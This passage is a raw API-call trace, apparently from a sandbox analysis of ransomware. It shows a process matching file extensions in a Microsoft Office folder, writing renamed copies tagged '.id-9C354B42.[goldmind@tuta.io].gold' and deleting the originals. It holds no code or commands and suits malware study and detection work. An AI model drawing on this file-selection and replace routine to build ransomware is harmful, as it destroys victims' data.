Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.462] lstrlenW (lpString=".doc") returned 4 [0103.462] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.462] lstrlenW (lpString=".docx") returned 5 [0103.462] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.462] lstrlenW (lpString=".pdf") returned 4 [0103.462] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.462] lstrlenW (lpString=".xls") returned 4 [0103.462] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.462] lstrlenW (lpString=".xlsx") returned 5 [0103.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.462] lstrlenW (lpString=".ppt") returned 4 [0103.462] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.462] lstrlenW (lpString=".zip") returned 4 [0103.462] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.462] lstrlenW (lpString=".rar") returned 4 [0103.462] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.462] lstrlenW (lpString=".bz2") returned 4 [0103.462] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.462] lstrlenW (lpString=".7z") returned 3 [0103.462] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.462] lstrlenW (lpString=".dbf") returned 4 [0103.462] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".1cd") returned 4 [0103.463] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".jpg") returned 4 [0103.463] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".doc") returned 4 [0103.463] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.463] lstrlenW (lpString=".docx") returned 5 [0103.463] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.463] lstrlenW (lpString=".pdf") returned 4 [0103.463] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString=".xls") returned 4 [0103.463] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString=".xlsx") returned 5 [0103.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.463] lstrlenW (lpString=".ppt") returned 4 [0103.463] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".zip") returned 4 [0103.463] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString=".rar") returned 4 [0103.463] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.463] lstrlenW (lpString=".bz2") returned 4 [0103.463] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.463] lstrlenW (lpString=".7z") returned 3 [0103.463] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".dbf") returned 4 [0103.463] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".1cd") returned 4 [0103.463] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0103.463] lstrlenW (lpString=".jpg") returned 4 [0103.463] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.463] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.463] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0103.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.464] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0103.464] CloseHandle (hObject=0x3bc) returned 1 [0103.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 0x20 [0103.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.464] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.464] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.465] GetLastError () returned 0x0 [0103.465] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.465] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.466] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.466] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0103.466] SetEndOfFile (hFile=0x198) returned 1 [0103.466] CloseHandle (hObject=0x198) returned 1 [0103.466] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.466] SetEndOfFile (hFile=0x3bc) returned 1 [0103.469] CloseHandle (hObject=0x3bc) returned 1 [0103.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 1 [0103.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".doc") returned 4 [0103.471] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString=".docx") returned 5 [0103.471] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.471] lstrlenW (lpString=".pdf") returned 4 [0103.471] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".xls") returned 4 [0103.471] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".xlsx") returned 5 [0103.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.471] lstrlenW (lpString=".ppt") returned 4 [0103.471] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".zip") returned 4 [0103.471] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".rar") returned 4 [0103.471] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".bz2") returned 4 [0103.471] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString=".7z") returned 3 [0103.471] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".dbf") returned 4 [0103.471] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".1cd") returned 4 [0103.471] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".jpg") returned 4 [0103.471] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".doc") returned 4 [0103.471] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString=".docx") returned 5 [0103.471] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.471] lstrlenW (lpString=".pdf") returned 4 [0103.471] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".xls") returned 4 [0103.471] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".xlsx") returned 5 [0103.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.471] lstrlenW (lpString=".ppt") returned 4 [0103.471] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".zip") returned 4 [0103.471] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".rar") returned 4 [0103.471] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.471] lstrlenW (lpString=".bz2") returned 4 [0103.471] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.471] lstrlenW (lpString=".7z") returned 3 [0103.471] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.471] lstrlenW (lpString=".dbf") returned 4 [0103.472] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.472] lstrlenW (lpString=".1cd") returned 4 [0103.472] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0103.472] lstrlenW (lpString=".jpg") returned 4 [0103.472] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.472] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.472] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0103.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.472] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0103.472] CloseHandle (hObject=0x3bc) returned 1 [0103.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 0x20 [0103.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.473] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.473] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.473] GetLastError () returned 0x0 [0103.473] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.474] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.474] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.475] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0103.475] SetEndOfFile (hFile=0x198) returned 1 [0103.475] CloseHandle (hObject=0x198) returned 1 [0103.475] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.475] SetEndOfFile (hFile=0x3bc) returned 1 [0103.477] CloseHandle (hObject=0x3bc) returned 1 [0103.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 1 [0103.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".doc") returned 4 [0103.478] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString=".docx") returned 5 [0103.478] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.478] lstrlenW (lpString=".pdf") returned 4 [0103.478] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".xls") returned 4 [0103.478] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".xlsx") returned 5 [0103.478] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.478] lstrlenW (lpString=".ppt") returned 4 [0103.478] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".zip") returned 4 [0103.478] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".rar") returned 4 [0103.478] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".bz2") returned 4 [0103.478] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString=".7z") returned 3 [0103.478] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".dbf") returned 4 [0103.478] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".1cd") returned 4 [0103.478] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".jpg") returned 4 [0103.478] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".doc") returned 4 [0103.478] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString=".docx") returned 5 [0103.478] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.478] lstrlenW (lpString=".pdf") returned 4 [0103.478] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".xls") returned 4 [0103.478] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".xlsx") returned 5 [0103.478] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.478] lstrlenW (lpString=".ppt") returned 4 [0103.478] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.478] lstrlenW (lpString=".zip") returned 4 [0103.478] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".rar") returned 4 [0103.478] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.478] lstrlenW (lpString=".bz2") returned 4 [0103.478] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.478] lstrlenW (lpString=".7z") returned 3 [0103.478] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.479] lstrlenW (lpString=".dbf") returned 4 [0103.479] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.479] lstrlenW (lpString=".1cd") returned 4 [0103.479] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0103.479] lstrlenW (lpString=".jpg") returned 4 [0103.479] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.479] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.479] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0103.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.482] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=89432) returned 1 [0103.482] CloseHandle (hObject=0x3bc) returned 1 [0103.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll")) returned 0x20 [0103.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".doc") returned 4 [0103.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".docx") returned 5 [0103.483] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0103.483] lstrlenW (lpString=".pdf") returned 4 [0103.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".xls") returned 4 [0103.483] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".xlsx") returned 5 [0103.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0103.483] lstrlenW (lpString=".ppt") returned 4 [0103.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".zip") returned 4 [0103.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".rar") returned 4 [0103.483] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".bz2") returned 4 [0103.483] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.483] lstrlenW (lpString=".7z") returned 3 [0103.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".dbf") returned 4 [0103.483] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".1cd") returned 4 [0103.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".jpg") returned 4 [0103.483] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".doc") returned 4 [0103.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".docx") returned 5 [0103.483] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0103.483] lstrlenW (lpString=".pdf") returned 4 [0103.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".xls") returned 4 [0103.483] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".xlsx") returned 5 [0103.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0103.483] lstrlenW (lpString=".ppt") returned 4 [0103.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.483] lstrlenW (lpString=".zip") returned 4 [0103.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.483] lstrlenW (lpString=".rar") returned 4 [0103.484] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.484] lstrlenW (lpString=".bz2") returned 4 [0103.484] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.484] lstrlenW (lpString=".7z") returned 3 [0103.484] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.484] lstrlenW (lpString="C:\\Program Files\\Microsoft 